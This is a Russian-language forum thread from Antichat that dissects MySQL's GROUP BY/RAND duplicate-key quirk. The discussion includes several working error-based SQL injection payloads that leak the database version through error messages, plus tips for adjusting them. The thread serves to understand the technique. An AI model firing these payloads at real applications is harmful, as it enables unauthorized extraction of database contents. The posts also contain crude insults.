ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |

02.12.2016, 02:17
|
|
Guest
Сообщений: n/a
Провел на форуме: 131082
Репутация:
6
|
|
А как эта конструкция работает:
SELECT COUNT(*)
FROM (
SELECT 1 UNION SELECT 2 UNION SELECT 3
)x
GROUP BY CONCAT(MID(VERSION(), 1, 63), FLOOR(RAND(0)*2))
типо как происходит план запроса ?
В том смысле у меня вообще групп бай в выражениях весь игнорируется кроме этого....
|
|
|
|

02.12.2016, 22:58
|
|
Guest
Сообщений: n/a
Провел на форуме: 131082
Репутация:
6
|
|
Ну чё притухли школота? Ктожи объяснит дяде арткару как работает этот запрос?
Что никто не знает?
|
|
|
|

04.12.2016, 01:29
|
|
Guest
Сообщений: n/a
Провел на форуме: 238786
Репутация:
40
|
|
Скажу тебе как школьник, забей ты , что это уйня, что то ***ня, лучше по утро дрочнуть
|
|
|
|

05.12.2016, 14:13
|
|
Guest
Сообщений: n/a
Провел на форуме: 300820
Репутация:
90
|
|
Сообщение от artkar
artkar said:
↑
А как эта конструкция работает:
SELECT COUNT(*)
FROM (
SELECT 1 UNION SELECT 2 UNION SELECT 3
)x
GROUP BY CONCAT(MID(VERSION(), 1, 63), FLOOR(RAND(0)*2))
типо как происходит план запроса ?
В том смысле у меня вообще групп бай в выражениях весь игнорируется кроме этого....
ну ахуеть, назвал всех школьниками и просишь объяснить
что там у тебя в group by игнорируется? подзапросы в нем работают
Код:
Code:
select 1 from(select 1)x group by (select 1);
ну и ничего мистического не вижу что в твоем примере отрабатывает concat, а почему селектит версию базы а не COUNT(*)? так наверно потому что запрос падает с ошибкой и это внезапно называется error-based вектор
удивительно какие запросы может переваривать мускул
Код:
Code:
select@x,/*!{$from(select(@x:=version()))}*/,0.3from(select~@)x;
+------+--------------------------------+-----+
| @x | {$from(select(@x:=version()))} | 0.3 |
+------+--------------------------------+-----+
| 1 | 5.6.31 | 0.3 |
+------+--------------------------------+-----+
если ты такой дядька, то может знаешь сишку, откроешь сорцы парсера да расскажешь нам сам?
|
|
|
|

05.12.2016, 15:10
|
|
Guest
Сообщений: n/a
Провел на форуме: 300820
Репутация:
90
|
|
вообще мне тоже не понятно почему работает именно так, count в некоторых случаях при использовании rand делает несколько выборок, что как то странно
Код:
Code:
select count(*) from(select 1 union select 3 union select 9)x group by concat('qqq',':',rand(0)*2);
+----------+
| count(*) |
+----------+
| 1 |
| 1 |
| 1 |
+----------+
3 rows in set (0.00 sec)
видимо натыкается на использование одной и той же колонки, судя по ошибке, правда не понятно почему он не падает в примере выше, а только при использовании floor
Код:
Code:
select count(*) from(select 1 union select 3 union select 9)x group by concat('qqq',':',floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'qqq:1' for key 'group_key'
что то явно хотели оптимизировать при вычислении запроса и х*й угадали походу
|
|
|
|

05.12.2016, 16:06
|
|
Guest
Сообщений: n/a
Провел на форуме: 300820
Репутация:
90
|
|
похоже если какую то часть конструкции не удаётся высчитать сразу, то он таки прогоняет запрос для каждого union
Код:
Code:
select count(*) from(select 1 union select 2 union select 3)x group by (rand(1)*2);
+----------+
| count(*) |
+----------+
| 1 |
| 1 |
| 1 |
+----------+
3 rows in set (0.00 sec)
ну и число похоже должно быть не целочисленное
Код:
Code:
select count(*) from(select 'z' union select 'x' union select 'e')x group by (md5(rand(1)*2) + 1);
+----------+
| count(*) |
+----------+
| 2 |
| 1 |
+----------+
2 rows in set (0.00 sec)
select count(*) from(select 'z' union select 'x' union select 'e')x group by (md5(rand(0)*2) + 1);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
select (md5(rand(1)*2) + 1);
+----------------------+
| (md5(rand(1)*2) + 1) |
+----------------------+
| 4 |
+----------------------+
1 row in set (0.00 sec)
select (md5(rand(0)*2) + 1);
+------------------------+
| (md5(rand(0)*2) + 1) |
+------------------------+
| 1.7976931348623157e308 |
+------------------------+
1 row in set (0.00 sec)
думаю никто не расстроится если я тут пофлужу
------------------------------
Код:
Code:
select md5(rand(0)*2);
+----------------------------------+
| md5(rand(0)*2) |
+----------------------------------+
| 810e2137cdf4bde97083b021c6b34a09 |
+----------------------------------+
0e кастование типов, ноги float растут отсюда, не забыть найти линк
----------------------------------------------
Код:
Code:
> select count(*) from(select 'z' union select 'x' union select 'e')x group by concat(version(),':',(md5(rand(19)*2) + 1));
ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key'
> select (md5(rand(19)*2) + 1);
+-----------------------+
| (md5(rand(19)*2) + 1) |
+-----------------------+
| 977882091 |
+-----------------------+
1 row in set (0.00 sec)
мде
-------------------------------------------------
Код:
Code:
> select count(*) from(select 'z' union select 'x' union select 'e')x group by concat(version(),':',(md5(rand(19)*2) + 999));
ERROR 1062 (23000): Duplicate entry '5.6.31:999' for key 'group_key'
5.6.31:1 .... 5.6.31:999
куда девается (md5(rand(19)*2)
|
|
|
|

05.12.2016, 21:43
|
|
Guest
Сообщений: n/a
Провел на форуме: 300820
Репутация:
90
|
|
стопудово это с rand накосячили, пофазил другие функции, такого поведения нет
рабочий вектор 'Duplicate entry' для error-based
> select * from users where id=1 or (select count(*)from(select(1)union(select(2)))x group by concat(/*my*/(select version())/*select*/,':',(md5(rand(19)*2) + 1)));
ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key'
> select * from users where id=1 or (select count(*)from(select(1)union(select(2)))x group by concat(/*my*/(select version())/*select*/,':',(md5(rand(0)*2) + 1)));
ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key'
если получаем "Subquery returns more than 1 row" поиграться с числами для rand, rand(0)/rand(6)/rand(19) , можно юзать floor, но там тоже магия с числами, у меня завелось только с floor(rand(12)*2))
нафига не знаю, уверен где нибудь в недрах рдота или ачата это уже описано, хотел пофлудить
-------------
ну да это классический error-based, wtf почему не решили пофиксить ипать сколько лет уже прошло
|
|
|
|

12.12.2016, 18:50
|
|
Guest
Сообщений: n/a
Провел на форуме: 131082
Репутация:
6
|
|
А чёйта мой топег про MySQL перенесли из Раздела "MySQL" в Вэб-уязвимости? Мне та в принципе пох, но просто интересно...
|
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|